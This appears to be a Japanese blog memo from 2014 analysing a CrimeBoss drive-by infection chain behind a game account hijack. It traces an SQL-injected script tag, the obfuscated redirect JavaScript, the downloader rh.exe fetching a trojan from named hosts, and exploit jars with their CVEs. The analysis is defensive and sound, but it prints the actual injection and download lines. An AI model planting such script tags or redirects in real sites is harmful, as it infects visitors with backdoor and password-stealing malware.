実際のマルウェアの感染経路と挙動

アカウントハックの実例(TalesWeaver)ページで実際に感染したマルウェアの感染経路と挙動について。

感染経路周りについての話はまた別の項目で。

主に自分用メモなので言葉を省き気味です。
(急いで手短に纏めているのでですます調は吹っ飛んでいます)

 

マルウェアの感染経路と挙動メモ

今回問題となっているCrimeBoss感染の流れ。
(似たようなマルウェアは五万とあるし、今現在もどんどん作られているはず)

最近見られる多くのマルウェアの感染源がそうであるように、今回のケースも同様にウェブサイトを見るだけで感染するタイプだった。

もう少し具体意的に言うと、メインの感染源は脆弱性が放置されたままのCMSを狙ったSQLインジェクション攻撃がメインとなる。
(ちなみにこの攻撃自体もSSHが破られたウェブサーバかマルウェア感染したPCで自動的に行っていると思われる)

次にサイト作成者自身が狙って仕込んでいる場合。
最後にダウンロードした圧縮ファイル等に直接実行ファイルが仕込んである場合がある。

 

メインとなるCMSの脆弱性を利用したSQLインジェクション攻撃では、ID/PASSが甘い場合もあるが、基本的には本体ないしプラグインのバージョンが低いままに放置されているのが狙われている。

今回のマルウェアでは「cb.php」のロード行が挿入される。

例: <script type=\”text/javascript\” src=\”ttp://abrahamspath.org.uk/cb.php\”></script>
(既に404になってるけど一応hは抜いている)

挿入箇所は突かれる脆弱性によってさまざま。
ロード行がhtmlソースの一番上に表示されている場合はまだ見て判るが、プラグインの脆弱性を突かれてページ半ばに突っ込まれている分には全く気づけないはずだ。

 

現在も「cb.php」のロード行が残されたままになっているサイトの1つが以下。
(現在cb.phpは404なのでアクセスしても大丈夫 実際に確認してみて欲しい)

12/25付退園者のお知らせ

リンク先のhtmlソース25行目、<title>内に思いっきり埋め込まれている。
記事タイトルを書き換えるSQLインジェクション攻撃があって、titleにはWordPressの独自関数で記事タイトルを読むようにしてたら表示されただけぽい。

 

このように全く普通のウェブサイトで管理者が想定しないところで仕込まれている事は良くあることで、基本的にウェブを巡回していると閲覧者側には避けようのない事態であるのが現状。

対策は当サイトで書いていることを色々見て実践して欲しい。

 

ロードされるcb.phpの挙動

ともあれ、まだ生存中のcb.phpが埋め込まれたウェブサイトを閲覧すると、それだけで中身が読まれてしまうのは避けられない。

実際に読まれたらどうなるか。

 

cb.phpが吐き出すスクリプトは以下(cb.php自体が何やってるかは不明)

■cb.phpに引数を付けて再度アクセスさせる(引数は当然一定ではない)
if(navigator.javaEnabled()) {
document.write(‘ <script src=”ttp://abrahamspath.org.uk//cb.php?action=jv&h=1334324703″></script>’);
} else {
document.write(‘&ltscript src=”ttp://rrabe42ufam.net.br/ads.js”> </script>’);
}

■cb.php?action=jv&h=1334324703
ここでJavaのバージョンチェックや攻撃する脆弱性などを確認している?
たらいまわしはじまるけど、結局はamor1.jarやjmx.jarなどをロードする準備とJavaのバージョン取得など

■ads.js
document.write(unescape(‘%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74
%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%72
%72%61%62%65%34%32%75%66%61%6D%2E%6E%65%74%2E%62%72%2F%61%64%73%2E%6A%73
%2F%3F%41%22%3C%2F%73%63%72%69%70%74%3E’));//
ads.js>unescape

“<script>document.location.href=”ttp://rrabe42ufam.net.br/ads.js/?A”</script>”

 

判りやすく言うと何をしているか

JavaやFlashPlayerのバージョンをチェックし、どの脆弱性を付けばマルウェアを仕込めるかをcb.phpから判別されている。

つまり、アクセス → 脆弱性判別 (ここまでは基本止め様がない) → 脆弱性発見 → 攻撃 → 感染 となる。

実例で出たPCではまさにJavaのバージョンが古かったため、マルウェア感染の被害にあって、結果アカウントハックの被害に繋がっているという見かたが濃厚。

防ぐためにはソフトウェアのアップデートが何よりも大切。
このサイトに書いてあることを一通り実践してればまず大丈夫。

 

Javaの脆弱性を突いてrh.exeをドライブバイダウンロード

紆余曲折あって中身も不透明な部分もあるけど、cb.phpのロードからJavaの脆弱性を検知できた場合、rh.exeがドライブバイダウンロードされる。

ドライブバイダウンロードというのは、通常ファイルをダウンロードする時みたいに保存先を確認して・・・などなく、ユーザに気づかれないようにこっそりファイルをダウンロードさせるものと思えばよい。

 

rh.exeについて

rh.exeは最終的に感染させるトロイの木馬である「Instal.exe」のダウンローダ。
ダウンローダを噛ましている理由は、Instal.exeを直接ドライブバイダウンロードし実行しても、OSそのもののセキュリティにかかったり、アンチウイルスソフトのヒューリスティック検知にかかる場合がある為。

このダウンローダ、explorerに遅延ロードさせてその当たりを回避してるみたいだ。

dl(s3, s1, s4, flag); ←ここでDL&実行されるみたいだけど
dl(“ttp://72.41.192.116/app/p3.exe”, s1, “exe”, true); ←これは謎

 

rh.exeの挙動。

0012FD0C 00A189E8 ASCII “ttp://sonhodoseu.dominiotemporario.com/fugi/Instal.teaz”
0012FD10 00A1FD18 ASCII “C:\Documents and Settings\All Users\Menu Iniciar\Programas\Instal.teaz”

これを↑の場所にダウンロードしようとして、それが成功したら

0012FD0C 00A18A88 ASCII “ttp://sonhodoseu.dominiotemporario.com/fugi/Instal.xml”
0012FD10 00A1FD70 ASCII “C:\Documents and Settings\All Users\Menu Iniciar\Programas\Instal.xml”

Instal.exeをそのまま実行するとxmlがないといわれるので、xmlにもろもろの必要データがあって読み込んでるようだ。

 

最終的に実行されるInstal.exeはよくある普通のトロイの木馬。
バックドア・遠隔操作・パスワード収集などを行う。
 
特に理解して欲しいのは、脆弱性をそのままにしていると、ごく普通のウェブサイトにアクセスしただけでノンストップでここまで進み、更にその事実に全く気づかない可能性が普通にある事。

メールアドレスが何者かにやられてる!ではなく、その前の段階からアカウントハック対策を考えていかないといけないという事。

 

amor1.jar CVE-2012-4681
java7.jar
jmx.jar CVE-2013-0422

実際にモノが入手できたので、自分のサーバで動作させて確認しました。

 

最終更新:2014/02/06 (初出:2014/02/06)
  1. コメントはまだありません。

  1. トラックバックはまだありません。